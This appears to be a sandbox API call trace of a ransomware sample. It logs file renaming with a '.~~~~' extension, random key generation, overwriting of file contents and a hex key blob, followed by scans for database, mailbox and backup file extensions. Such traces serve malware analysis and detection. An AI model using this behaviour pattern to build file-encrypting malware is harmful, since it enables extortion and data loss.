	[0112.867] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf.~~~~")) returned 1
	[0112.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.946] GetLastError () returned 0x0
	[0112.947] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0112.949] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.949] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.949] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23293930167) returned 1
	[0112.949] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xacebbad0, dwHighDateTime=0x1d60e1e)) 
	[0112.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0112.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830870
	[0112.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830870 | out: hHeap=0x300000) returned 1
	[0112.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28332f8
	[0112.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.950] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0112.951] GetLastError () returned 0x0
	[0112.951] GetLastError () returned 0x0
	[0112.951] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0112.951] GetLastError () returned 0x0
	[0112.951] GetLastError () returned 0x0
	[0112.956] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.956] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0112.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0112.959] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.959] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.959] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.959] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.960] CloseHandle (hObject=0x13c) returned 1
	[0112.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.960] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg.~~~~")) returned 1
	[0112.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.961] GetLastError () returned 0x0
	[0112.962] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0112.963] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0112.963] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0112.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.964] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23295366412) returned 1
	[0112.964] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xacee1c30, dwHighDateTime=0x1d60e1e)) 
	[0112.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0112.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28308a8
	[0112.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28308a8 | out: hHeap=0x300000) returned 1
	[0112.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2833f70
	[0112.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.965] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0112.965] GetLastError () returned 0x0
	[0112.965] GetLastError () returned 0x0
	[0112.965] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0112.965] GetLastError () returned 0x0
	[0112.965] GetLastError () returned 0x0
	[0112.969] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff5dfe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.969] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xa202, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0xa202, lpOverlapped=0x0) returned 1
	[0112.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0112.970] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.970] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.970] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.970] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.971] CloseHandle (hObject=0x13c) returned 1
	[0112.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.971] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg.~~~~")) returned 1
	[0112.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.972] GetLastError () returned 0x0
	[0112.973] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0112.974] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0112.974] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0112.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.974] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23296441703) returned 1
	[0112.974] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xacf07d90, dwHighDateTime=0x1d60e1e)) 
	[0112.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0112.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28308e0
	[0112.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28308e0 | out: hHeap=0x300000) returned 1
	[0112.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834008
	[0112.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.975] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0112.976] GetLastError () returned 0x0
	[0112.976] GetLastError () returned 0x0
	[0112.976] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0112.976] GetLastError () returned 0x0
	[0112.976] GetLastError () returned 0x0
	[0113.052] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffe742, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.052] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x18be, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x18be, lpOverlapped=0x0) returned 1
	[0113.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0113.062] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.062] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.062] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.062] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.062] CloseHandle (hObject=0x13c) returned 1
	[0113.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cef90
	[0113.062] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg.~~~~")) returned 1
	[0113.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0113.064] GetLastError () returned 0x0
	[0113.084] lstrlenW (lpString=".sqb") returned 4
	[0113.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".sqb") returned 0x0
	[0113.084] lstrlenW (lpString=".ost") returned 4
	[0113.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".ost") returned 0x0
	[0113.084] lstrlenW (lpString=".txt") returned 4
	[0113.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".txt") returned 0x0
	[0113.084] lstrlenW (lpString=".mdt") returned 4
	[0113.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".mdt") returned 0x0
	[0113.084] lstrlenW (lpString=".BDB") returned 4
	[0113.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".BDB") returned 0x0
	[0113.085] lstrlenW (lpString=".eql") returned 4
	[0113.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".eql") returned 0x0
	[0113.085] lstrlenW (lpString=".DBF") returned 4
	[0113.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".DBF") returned 0x0
	[0113.085] lstrlenW (lpString=".EQL") returned 4
	[0113.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".EQL") returned 0x0
	[0113.085] lstrlenW (lpString=".FDB") returned 4
	[0113.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".FDB") returned 0x0
	[0113.085] lstrlenW (lpString=".EDB") returned 4
	[0113.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".EDB") returned 0x0
	[0113.085] lstrlenW (lpString=".DACPAC") returned 7
	[0113.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".DACPAC") returned 0x0
	[0113.085] lstrlenW (lpString=".VHD") returned 4
	[0113.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".VHD") returned 0x0
	[0113.085] lstrlenW (lpString=".DBV") returned 4
	[0113.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".DBV") returned 0x0
	[0113.085] lstrlenW (lpString=".dacpac") returned 7
	[0113.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".dacpac") returned 0x0
	[0113.085] lstrlenW (lpString=".sdf") returned 4
	[0113.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".sdf") returned 0x0
	[0113.085] lstrlenW (lpString=".accdb") returned 6
	[0113.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".accdb") returned 0x0
	[0113.085] lstrlenW (lpString=".DBX") returned 4
	[0113.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".DBX") returned 0x0
	[0113.085] lstrlenW (lpString=".MDT") returned 4
	[0113.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".MDT") returned 0x0
	[0113.086] lstrlenW (lpString=".SQB") returned 4
	[0113.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".SQB") returned 0x0
	[0113.086] lstrlenW (lpString=".vhd") returned 4
	[0113.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".vhd") returned 0x0
	[0113.086] lstrlenW (lpString=".bac") returned 4
	[0113.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".bac") returned 0x0
	[0113.086] lstrlenW (lpString=".mdf") returned 4
	[0113.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".mdf") returned 0x0
	[0113.086] lstrlenW (lpString=".BAK") returned 4
	[0113.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".BAK") returned 0x0
	[0113.086] lstrlenW (lpString=".BAC") returned 4
	[0113.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".BAC") returned 0x0
	[0113.086] lstrlenW (lpString=".dbs") returned 4
	[0113.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".dbs") returned 0x0
	[0113.086] lstrlenW (lpString=".vhdx") returned 5
	[0113.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".vhdx") returned 0x0
	[0113.086] lstrlenW (lpString=".NDF") returned 4
	[0113.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".NDF") returned 0x0
	[0113.086] lstrlenW (lpString=".dat") returned 4
	[0113.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".dat") returned 0x0
	[0113.086] lstrlenW (lpString=".DBS") returned 4
	[0113.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".DBS") returned 0x0
	[0113.086] lstrlenW (lpString=".CKP") returned 4
	[0113.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".CKP") returned 0x0
	[0113.087] lstrlenW (lpString=".edb") returned 4
	[0113.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".edb") returned 0x0
	[0113.087] lstrlenW (lpString=".PST") returned 4
	[0113.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".PST") returned 0x0
	[0113.087] lstrlenW (lpString=".dbf") returned 4
	[0113.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".dbf") returned 0x0
	[0113.087] lstrlenW (lpString=".SQL") returned 4
	[0113.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".SQL") returned 0x0
	[0113.087] lstrlenW (lpString=".pst") returned 4
	[0113.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".pst") returned 0x0
	[0113.087] lstrlenW (lpString=".dbv") returned 4
	[0113.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".dbv") returned 0x0
	[0113.087] lstrlenW (lpString=".SDF") returned 4
	[0113.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".SDF") returned 0x0
	[0113.087] lstrlenW (lpString=".dtxs") returned 5
	[0113.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".dtxs") returned 0x0
	[0113.087] lstrlenW (lpString=".db3") returned 4
	[0113.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".db3") returned 0x0
	[0113.087] lstrlenW (lpString=".OST") returned 4
	[0113.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".OST") returned 0x0
	[0113.087] lstrlenW (lpString=".dbx") returned 4
	[0113.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".dbx") returned 0x0
	[0113.087] lstrlenW (lpString=".DB3") returned 4
	[0113.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".DB3") returned 0x0
	[0113.087] lstrlenW (lpString=".DAT") returned 4
	[0113.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".DAT") returned 0x0
	[0113.088] lstrlenW (lpString=".VHDX") returned 5
	[0113.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".VHDX") returned 0x0
	[0113.088] lstrlenW (lpString=".ndf") returned 4
	[0113.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".ndf") returned 0x0
	[0113.088] lstrlenW (lpString=".DB") returned 3
	[0113.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".DB") returned 0x0
	[0113.088] lstrlenW (lpString=".sql") returned 4
	[0113.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".sql") returned 0x0
